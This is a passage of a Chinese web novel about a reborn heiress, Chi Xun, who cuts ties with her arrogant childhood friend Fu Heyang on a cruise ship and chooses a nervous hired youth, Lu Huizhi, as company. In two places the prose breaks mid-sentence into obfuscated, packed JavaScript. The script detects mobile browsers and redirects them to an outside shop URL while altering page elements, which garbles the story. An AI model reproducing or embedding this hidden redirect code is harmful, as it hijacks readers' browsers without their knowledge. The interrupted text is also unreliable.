这嚷嚷说到了傅赫扬的心里去,他怒意压了压,声音发沉:“一分钟,让她出现在我面前。否则,后果自负。” “哈?”秦魏的目光震惊,“你是如此的普通,又是如此的自信。” “既然这么有本事,那你就还钱啊,都是傅家大少爷了,自己找个别的地方住,对你来说轻轻松松吧?” “那是当然!”他的兄弟们率先叫嚣,“谁稀罕你们的房子,要不是池浔这个舔狗觍着脸求我们傅哥去她的地方住,傅哥早就搬走了。” “哎呀你们少说两句吧,知道池浔什么身份吗?” 有同学看不下去,同学一场,出声忍不住提示他们,“池浔是池家的。” “她就算是……什么?”傅赫扬身边的兄弟止住话音,面色震惊,“你,说啥?” 池浔,那个舔狗,居然是H省池家的人? 那他们之前……将池浔当冤大头,态度恶劣,肆意嘲笑池浔的行为,如果被池家追究? 他们都是一些家里有点钱的普通家庭,如果被池家针对,他们爸妈会揍死他们的! “傅哥……你知道池浔的身份吗?”兄弟们面色煞白,求救似的目光落到身边的老大身上。 后者沉默不语。 “你知道,当初怎么没有告诉我们,我们要是知道池浔是这来头……” 傅赫扬死人脸:“怕什么,这么多年来,都是池浔追在我身后跑,让我烦都烦死了,放心,她不敢找你们麻烦。” 听他这般笃定的一番话,原本慌乱的朋友们也慢慢镇静下来,而那女生则是眼睛亮亮地看着他。 是啊,池浔是池家大小姐又怎样?据说,她为了要和傅赫扬一个班级,斥巨资将自己砸进了A班。 如今就算摆出一副要算账两清的模样,他们都不相信昔日的舔狗会突然放弃。 “还真是开了眼了,”秦魏听着他们的交谈,对傅赫扬与生俱来的自信高傲竖起倒立大拇指,“傅狗,我还真是第一次见到你这种如此自信的男人。” “还钱还钱还钱!——听明白吗?” 秦魏陡然眼神变厉,将手里的账单直接砸向对方,“耳朵聋了就去治!” “我还,但我要亲自和池浔谈。”傅赫扬攥住账单,桀骜难驯的脸上此刻印出阴沉沉的神色。 “没必要,还钱就是了。” 秦魏冷声拒绝。 傅赫扬神色不变:“她在顶层吧。” 秦魏直起身体,眼神警告,“无可奉告,我劝你别再去招惹她。” 傅赫扬勾起唇角,那看来他没猜错。 他转身就走,秦魏不想他还有这一出,“喂傅赫扬,你不是最讨厌池浔烦你吗,既然她现在已经到打算和你两清,你应该很高兴才是,为什么还要去找她?” 傅赫扬脚步微顿,神情微微变化,片刻,他冷漠的声音在包厢里响起: “她打我那巴掌,得还。” “我去你爹的,还想把那巴掌还回来!还是不是男人!傅老狗,你给小爷我回来!!” 秦魏跟着冲出了包厢。 包厢里的同学们互相看了一眼,都在默默消化今日这场戏,也算是亲眼看了有钱人家的好戏了。 秦魏没想到傅赫扬这狗东西是真狗,他原本想拦住秦魏,但没想到,傅赫扬能招呼游轮上的侍应生,将他拦住。 而傅赫扬凭借着自己那一张被录入系统的脸,畅通无阻地上了顶层。 “我靠!”秦魏爆了声粗口,忙掏出手机想联系池浔,但却一直没拨通。 “诶别拦我啊!” 侍应生一脸为难地道歉,但却死死地牵制住他的双臂,“秦少爷对不起,但是小姐之前吩咐过,傅少爷的吩咐指令等同于小姐自己,实在抱歉,你在这里歇一会儿吧。” “你们家小姐现在不喜欢那货了!” 秦魏抓狂。 浔姐啊浔姐,你怎么没把这指令给改了! 此时的顶层。 一整层都被打通,面积大得可以容纳表演舞台,就算是几千人在里面走动也十分宽敞。 被众人簇拥,独自坐在真皮沙发最中间的年轻女生双手环臂,翘着二郎腿,散漫的目光在舞台上表演的明星帅哥们虚虚搭着。 “表姐,我说得对吧,我哥可是花了大价钱请了他圈子里长得超帅的小鲜肉们过来表演,你有没有看上哪个?” 坐在右手边的少女把身边敬酒的小帅哥推开,一脸坏笑地凑过来,就被一只手给按住脑门,推了回去。 “不感兴趣。” 池浔淡声道。 “好吧,那表姐你不懂享福,我去啦!” 穿着一身粉嫩的表妹如同花仙子般,朝舞台上飞奔过去,没一会儿,就被十几个帅哥围在最中间,哄得她眉开眼笑,笑得花枝乱颤。 池浔拿起桌上的酒有一下没一下地品尝着,远远注视着表妹在男人堆里逍遥自在的笑容。 她的脑海里却是闪过上辈子,表妹犹如活死人般躺在病床上,带着呼吸机的瘦弱场景。 她眸底划过一丝戾气,站起身。 身旁一直静候的游轮负责人立刻上前贴心问候,“大小姐,是有哪里不满意吗?” “没有。”池浔瞥了眼他,“等会儿表哥回来,和他说我出去透透气。” 池浔走到房间外的窗台处,看了一会儿幽静无波的大海,抽了口烟,直至心情平复,才重新回去。 回去时,卡座上多了一道穿着白色卫衣的身影,察觉到她的视线,朝她笑眯眯地打招呼:“来啊,糯糯。” 她脚步微顿,是表哥。 等她走近,年轻男人皱了下鼻子,“妹啊,你什么时候学会的抽烟?” “我不经常抽。”池浔坐回自己的位置上,她随手就想将桌上的酒端起,却被人一把抢过。 表哥一脸不赞同,“你不仅抽烟,怎么喝酒也这么熟练?说,是不是有人把你带坏了?” 他的质问,显然意有所指。 池浔看着在舞台上大展光彩充满魅力的大明星,此刻却如临大敌,紧张兮兮,想笑,又有点鼻酸。 “没谁,哥,我只是压力大的时候,偶尔喝两杯。”池浔轻描淡写,“放心,我没瘾。” “烟酒接触多了,人会变得又丑又臭,要好好照顾自己,听到没?”表哥直接让人过来,将桌面上的所有酒都撤下去,换了饮料和牛奶。 “你们小孩,适合喝这个,还能长高。” 年轻男人还顶着当下时尚潮流的蓝灰发色,甚至耳垂带着炫酷的闪钻耳钉,他却一脸严肃地将一杯牛奶递到女生面前。 “行,知道了。”池浔有点无奈地接过,“我保证今晚只喝这个。” 在表哥灼灼目光下,池浔只好将牛奶端起,喝了一口。 “你怎么不和小妹一起去玩,唱唱歌,聊聊天啊,还是哥请来的这些人不合你胃口?” 表哥看她乖乖喝了一口,心满意足,但看她身边空无一人没人陪伴,又忍不住蹙眉。 “啊,我对男的不感兴趣。” “什么?!” 年轻男人一惊,思绪忍不住发散,表妹该不会是被傅赫扬伤的太深,彻底对男人失望了吧? 这可不行,表妹值得更多更好的男人,绝不能为了一棵坏树拒绝一整片森林! “表妹,我先离开一下。” 池浔不在意表哥中途离开了一小会儿去做了什么。 但没想到没过一会儿,游轮负责人又领着一批人走了进来。 个个都是帅气的少年,穿着清一色的黑色西装,打扮隆重,胸口前却贴着1-9红心号码牌。 “大小姐,他们都是十八岁左右的年纪,和您年龄相仿,看看有没有喜欢的,可以留下来……” “池浔!你太不要脸了!令人恶心!” 顶层突然闯进来一个人,声音发怒。 7. 第 7 章 “傅赫扬,你有本事当着我的面,再说一遍!” 年轻男人的声音从咬紧的牙关中迸出,平日吊儿郎当笑眯眯的大明星此刻充斥着对闯入者的极度厌恶。 “……池北哥,你也在。”傅赫扬见到他,满腔怒气稍微压制了些许,“我找池浔有事。” 池北本想直接怼回去,但他怕身边的表妹生气,只好转头,“糯糯,你怎么说?” 池浔啧了一声,原本她看到这人出现在这里时感到奇怪,突然想起来自己之前因为追爱追得疯狂,直接给傅赫扬开了同等权限。 要不是自己名下的游轮如今都是由爸妈代管,她说不定还会将游轮送给傅赫扬。 嘶……真是脑残恋爱脑。 但是,人专门把自己送上来打脸,她也只能笑纳不是? “来还钱的?”池浔身体往后靠,是一种完全处于高位的姿态。 “你真想让我还钱?”傅赫扬不可置信,“池浔,当初要不是你仗着自己的家世,我爸不会把我送到H省这么偏远的地方,你为了一己之私毁掉了我的前途,如今又这么任性,你当我会一直这么忍耐你吗?” “你忍耐我?”池浔想笑,“你说的是我让你在价值几千万的别墅里白吃白住,让司机开着宾利接送你,每天鲍鱼海鲜地投喂你,是对你的羞辱与挑战咯?” “既然觉得很苦恼,那祝贺你,从今以后你无需再忍耐。” 灯光多彩夺目,在她的眼神里落下了璀璨潋滟,一字一句地强调,“我们彻底结束。” 这一句话在热闹之中清晰地传入到傅赫扬的耳朵。 他第一反应仍是不信,可对方眼里此刻充满着戏谑、不耐,唯独没有以往的痴迷缠绵。 语气仿佛冰冻三尺,“你没有正面回答我的问题,我当初被迫转学到这里,是你的责任。” 纠缠了他那么多年,现如今想摆脱他却不给个理由,哪有这么好的事情? “傅赫扬你个臭小子,真踏马的不要脸啊?”池北拍桌而起,“你转学,是因为你惹怒了你爸,和我妹有个屁的关系?” “但我爸并没有说要将我送走。”傅赫扬谈及一个月前发生的事情,怨恨就从眼神与语气中倾泻而出。 “池浔,你敢不承认吗?当初是你拉着你爸妈,在我爸面前提议要将我送到H省。” 池浔对他的怨恨质问无动于衷,因为事实真相根本不是傅赫扬误解的那般。 当初若不是她恋爱脑占据上风,费尽心思打听到傅赫扬的后妈打算趁此机会将傅赫扬送出国,甚至还要在每月生活费上搞小动作。 她只来得及拜托自己的爸妈出面,给傅父说让两小孩一起在H省念书互相有个伴,阻断了傅赫扬后妈的不怀好意。 但是傅赫扬却不知道这事,只知道他不过就是在学校打了个群架,但青梅自作主张,导致他只能被流放。 所以原本只是对她态度比较冷淡,从这件事之后,就彻底转变成了浓烈的厌恶。 这放在小说剧情里,也是极其虐恋酸涩的开场设定。 明明一个有苦衷,偏偏就是各种道歉礼物疯狂送,悉心照顾对方的起居,就是不张嘴解释一下原因。 而另一个就更恶劣了,就算有误会,那你就和人说清楚,关系想断就赶紧断,偏偏态度恶劣,却从不拒绝对方的示好,真是一副恶心到家的“既要又要”嘴脸。 池浔心中嘲讽,她没被剧情控制之前,小时候对傅赫扬这个竹马印象很好的,完全是个傲娇可爱的小正太。 但他的态度在初二那年先发生变化,他无缘无故地拒绝她的靠近,不再和她一起吃饭,放学也不一起回家,甚至有段时间莫名其妙地拉黑了她所有联系方式。 再之后,池浔性格高傲,开始有些伤心,但已经决定冷处理这段从两岁就开始的友谊,以为两人就此逐渐疏远,各自安好。 谁曾想,傻逼竹马态度转变的那年,她莫名其妙地陷入了剧情怪圈,被迫成为了脑残的舔狗女配。 傅赫扬态度大变的那年……是发生了什么吗? 难不成,也被剧情控制? 池浔思绪回笼,她的目光落到傅赫扬身上,打量片刻,试探问道:“傅赫扬,既然想和我翻旧账,那我们今天就把一切都说清楚吧。 ——你初二那年对我态度转变,是为什么?” 肉眼可见,隔着茶几站在她对面的人,脸上迅速掠过复杂的情绪,“陈芝麻烂谷子的事,有什么好说的。” 他语气极其不耐烦,但是却明显想岔开话题。 看他如此,池浔明白了,他并没有一丝一毫被剧情控制做出言不由衷的经历。 他眼里有烦躁、怒意、尴尬,却唯独没有所谓的类似愧疚的难言意味。 他之前的行为,皆是他自由意志驱使而做出的。 包括后来的,故意隐瞒他亲爸与她的好姑父暗中勾结,贪图池家财产,对她见死不救的举动,都是源于他本身就是一个无情的渣男! 池浔心底那一丝侥幸彻底消散,不带丝毫情绪地吩咐,“来人,将无关的人赶出去。” 池北立刻抓住时机,朝游轮负责人递眼色:“快啊!赶紧把这家伙赶出去,别打扰我妹和其他帅哥玩啊!” 傅赫扬:“你赶我?池浔!你疯了,你敢赶我!” 然而侍应生早就一拥而上,牢牢抓住他的手臂,当即就要把他往门外拖。 “放肆!你们还真的敢动手,知道我是谁吗?赶紧放开我!” 傅赫扬愤怒暴起,双手握拳,直接和侍应生们干起来了。 他身手很不错,再加上侍应生们都是知晓他身份的,没敢下死手,很快,侍应生们就倒了一片。 傅赫扬抬手擦了把自己嘴角的血迹,他的目光扫了一圈四周,尤其停在那几个高挑的少年身影上,顷刻,他明白了什么。 “池浔,你以为你今天闹这一出,演这一场戏,我会注意你?”傅赫扬冷冷地勾唇,“别做梦了,我都不喜欢你,怎么可能吃醋。” “哈?” “你列出的那些账单,我还你不是不行,但是你以后要是还想我搭理你,你今天让我丢的面子,都要给我还回来。” 傅赫扬语气带着不满,“还有,别和秦魏他们玩。” 列出账单,是想要让他清楚她对他的付出,企图唤起他对她产生感动。 对他态度冷淡,是欲擒故纵。 而这里有那么多男的,她是故意让他看到,估计是想要让他吃醋,激发对她的占有欲。 但肯定是做戏的,不然为什么他的人脸识别信息没有被删?而他刚才闯进来时,池浔身边除了表哥,并没有其他男人近身。 池浔:“……” 她?想让他吃醋? 救命,傅赫扬是什么脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以前不是没有这种情况,池浔为了照顾傅赫扬,甚至还使了苦肉计,以此逼家里人对傅赫扬态度好点,要在各方各面都要关照傅赫扬。 聪慧的性格全都用在了这恋爱算计之上。 池浔即将说出的拒绝只好咽回了肚子里。 看来她只能“接受”一个新男生,才能让池北相信她对傅赫扬是真没有半点感情了。 “这些人不喜欢,换一批。”池浔轻抬指尖抵住自己的鼻,稍微阻隔了下有些刺鼻的香水味,她松了口。 池北闻言,立刻高兴起来,“诶你们先下去,另几个过来吧。” 那几个被拒绝的男生露出无奈之色,垂头丧气地退下去。 新过来的几位呈一字排开,池北用眼神扫视打量,“身上喷香水的,自动下场啊,我妹闻不了太重的味道,她要是被刺激得难受了,后果不是你们能承担得起的……” 他话说完,又有一个男生目露纠结,最终也退下了。 就算要冒着风险赚钱,也不是让客人冒风险。 至此,茶几前方,就只剩下三位男生。 “妹,有喜欢的吗?” 池北回头问,而冷脸站在一边的傅赫扬却凉凉地说道,“别演了,池浔洁癖那么严重,我不信她今天真碰这里的男生。” 8. 第 8 章 池北直接默默地给他翻了一个白眼。 谁管他信不信?这么喜欢找存在感,怪不得被傅家放弃。 但是他妹迟迟没有挑出一个人……不会真的还想要再傅赫扬这丑歪脖子树上吊死吧? "就他吧。" 表妹那一把好嗓子,此刻听上去似乎清越如玉环碎碰撞击的乐曲,虽然不明显,但池北的确从中听出了与往日不一样的情绪。 尤其是表妹此时的神情眼神,显然是带了点兴致的,而非做戏的敷衍。 他顺着表妹的目光看过去,看到的是站在最左侧的那位男生,他的确长得清俊帅气,但比其他人更扎眼的地方在于他独到的气质。 他身量比同龄人都高出一些,黑色西装勾勒出他清瘦的身姿,□□的衣料与略微收腰设计,将他肩宽瘦腰腿长展现得淋漓尽致。 脸也清瘦,下巴微尖,让其本就极具量感的五官更加深邃带来冲击力。 他不似其他人那般坦然和眼里透着热情,反倒是肩膀微缩,如同站军姿般双手紧贴着裤缝,浑身紧绷,眼神凝重。 池北用挑剔的眼神打量了一下对方,不太满意,又转过头尝试让池浔换个更好的,“妹,这个太瘦了,表现也不太行,要不你再另挑一个……” "不,我就要他。" 池浔语气笃定,她像是见到了什么惊奇的东西,甚至身体坐得更直。 平日里池北见惯了她冷淡,除了对傅赫扬之外的任何事情都不感兴趣的模样,如今的样子让她“移情别恋”有了极高可信度。 池北瞥了眼斜前方黑脸的讨人嫌家伙,心情乐了,吗,忙招呼:“诶,就你了,过来吧,只要让她开心,我给你包个大红包。” “池浔,你真敢?”傅赫扬皱眉,冷着脸,眼神像射箭般要刺穿坐在沙发上的女生。 他沉声警告般:“你知道的,我最讨厌的就是不洁身自好的烂人。” 池浔眼神冷光斜刺过去,“比不过你,夜场小王子。” 她目光微移:“还不过来?” 语调微冷,有点不耐,似乎是对方若是不抓紧过来,那就要直接将其拉入黑名单。 陆晦之暗自咬牙,猛地大步走过去。 他像个刚出厂的初代机器人,僵硬着站在女生面前,手脚都不知道如何动。 直到她含着冷意的眼神准备从他身上挪移,他才暗憋一口气,坐在了她身边。 他深知一鼓作气再而衰的道理,既然做了选择,那他要做就要做得尽善尽美。 不过片刻,陆晦之就理出了或许不适合、但却是解决他目前缺钱困境的最佳思路。 他回想当初住在姑姑家时偷偷看的电视剧,对于这种服务,他应当按照哪几个步骤开展? 第一步,喂酒。 第二步,要和金主贴贴,产生亲密接触。 茶几上没有任何酒水,他只好忽略了这一步骤。 亲密接触……怎样的亲密接触? 平日里用来学习轻松简单的大脑此刻仿佛生了锈,他的目光情不自禁地放到身边的女生上。 她和他靠的好近…… 能闻到一种特别的香气,不浓烈,就像晨间的清露,松针上的冷雪,余味无穷。 他从来没和人这么近过,几乎是鼓着勇气坐下的那一刻,他就有了想逃的冲动。 浑身如同拉了警报一般紧绷,他沉吐一口气,无论是钱对他的吸引力,还是做事不喜欢半途而废,让他只能继续往下。 他虚握了下拳又松开,抬起手想要放在她的肩头,却又在即将碰上之前停滞在半空。 陆晦之没想过,身侧的女生突然有所动作。 她侧头看过来,一把揪住他的衬衫黑红领带,噙着像嘲讽的笑,声音如呢喃低语。 “你原来还有这种业务?” 陆晦之一愣,“你认识我?” 池浔没回答,何止是认识啊,上辈子斗到死的死对头,他见死不救的冷脸她至今记、忆、深、刻。 两人本来就坐得靠近,如今抓着领带面对面,尤其还是池浔主动,仿佛急不可耐,这让傅赫扬终于气得摔门离去。 池北看到讨人厌的家伙走了,自己也乐呵呵地招呼着其他人跟他去另一边玩,不要打扰这边。 一大帮人哗啦啦地离开,这块天地的气氛逐渐变得安静古怪起来。 因为是休息区域,灯光泛着暖黄,轻洒在贴得极近的两人身上,镀上一层暧昧的气息。 陆晦之屏住呼吸,有点后悔,“同学,我们……” 刚才人多的时候还没有特别强烈的感觉,但当现在两人独处时,他浑身刺挠,生出了退意。 “我建议你别叫我同学,”池浔看上去就淡定多了,她指尖缠绕打转他的领带。 “为什么?”陆晦之下意识地问。 池浔面色不改:“会没兴致。” 随着她的话落,她指尖一挑,领带便松垮地搭在那一起一伏的胸膛上,且起伏弧度猛然更加明显。 兴……致? 陆晦之瞪大双眼,心脏漏了一拍。 紧接着下一秒,胸膛就被人半重半轻地拍了一下。 他大脑直接宕机。 对方显然似乎并不觉得她的举动有多大胆,她甚至蹙起眉头,吐字评价,“太僵硬。” 她蓦地起身坐离,言语冷漠,“不及格。” “什么?” 池浔将双手揣进自己的西装口袋里,姿态打开,斜眼看过来,就像是递了一个极其不满意的眼神。 “不理解吗?”她双眼微微上挑,挑衅道,“你的业务,不能说是不熟练,简直就是差到极点。” 陆晦之没有生气,但是他被激到了,他从小最怕听到的,就是别人对他“差劲”的点评。 他的字典里,容不得一个“差”。 他咬着牙,眼神凝滞深幽,“那是我还没放大招。” 暖黄灯光下,原本僵硬得几乎直挺挺地靠在沙发上的少年突然动了。 直奔池浔。 池浔漫不经心地盯着他的动作,没有丝毫退让。 陆晦之咬牙鼓劲,知道退无可退,无论是想拿到小费,还是证实自己不差劲,将这个“差”标签撕除掉,他必须使出浑身解数,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179685|196960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭转局面。 在这样的冲动下,他伸手一把按住她的肩头,将她拉进自己的怀里,她脑袋就倚在他的胸锁骨交叉处。 而另一只手则是抓住她的右手腕,直接将其带着一颗颗解开自己的西装外套,最终,按到自己的腰腹处。 浑身肌肉紧绷,似乎透过白色衬衫腹肌在轻轻颤抖着,让池浔的手心发痒发烫。 少年声音有着过分的执拗,又像狼崽子对敌人示警,“现在呢?” “姐姐,手感如何?” 顶楼里帅气歌手的演唱声、表妹玩得乐不思蜀的嬉笑声、表哥与好友拼酒的喧闹声,尽数如潮水般退潮而去,直到秦魏的脸出现在她的眼前。 秦魏抬手打招呼:“嗨?浔姐?” 池浔没理他。 秦魏咦了一声,眼神惊奇地看着她,“浔姐,你耳朵怎么红了!我去,谁揪你耳朵了?” 一道死亡眼神射过来,他讪讪地笑了笑,“哈哈,开个玩笑活跃一下气氛,谁敢揪我们阿浔姐姐的耳朵呢,岂不是在老虎身上拔毛?” 池浔保持面无表情,朝他翻了个白眼,忍了忍,还是出声,“别这么叫我。” 她浑身鸡皮疙瘩都起来了。 莫名不自在。 “行咯行咯,你是大姐大听你的。我已经把班里同学都送走了……” 对上她看过来的眼神,他拍拍胸脯,保证道,“放心,今天的事,一定会传遍全校!” 秦魏看起来混不吝不正经,实际上做事还是很牢靠的,国庆短短三天假,天骄中学高三同学们在第一天就吃到了极其炸裂的瓜。 尤其是这真瓜,有关校园里的几个风云人物。 来自首都J省傅家的傅赫扬,神秘有钱的池浔,同时高三开学转学过来,二人的感情绯闻便轰动全校。 原因在于池浔对傅赫扬的态度堪称狂热变态,甚至被一些人评价为“舔狗”。 这卑微至极的态度,与池浔本身高冷美艳的气质、神秘有钱的家世背景,形成了巨大反差。 这堪称小说电视剧里的狗血剧情,让苦熬高三的学生当成了消遣乐子。 他们没想到,事情还有反转。 傅赫扬居然是被家里赶出来的落魄少爷。 池浔这个舔狗竟然是H省池家的千金。 H省人,或许不知道本地领导班子有哪些有几人,但对于几乎垄断了H省海鲜海产领域的生意的池家,却是家喻户晓。 池家的地位,就如同他们H省经济迅速发展的一大标杆,百年屹立不倒。 所以,傅赫扬是怎么有脸给池大小姐摆出冷漠态度的? 甚至落魄时被池同学接济,就连他身边的兄弟狗腿们都贪得无厌占了池同学好大便宜。 明明占了便宜却不懂卖乖,这是捧着碗边吃边骂娘啊! 秦魏在游轮上拿出来的那一长条有几米长的账单,早就私底下在各个同学们手中疯狂流通,但都刻意避开了傅赫扬和他的兄弟们。 因此,国庆假结束后,傅赫扬怒气冲冲带着兄弟们抵达A班教室,甚至骂出一句“烂人”时,更是激起了众怒。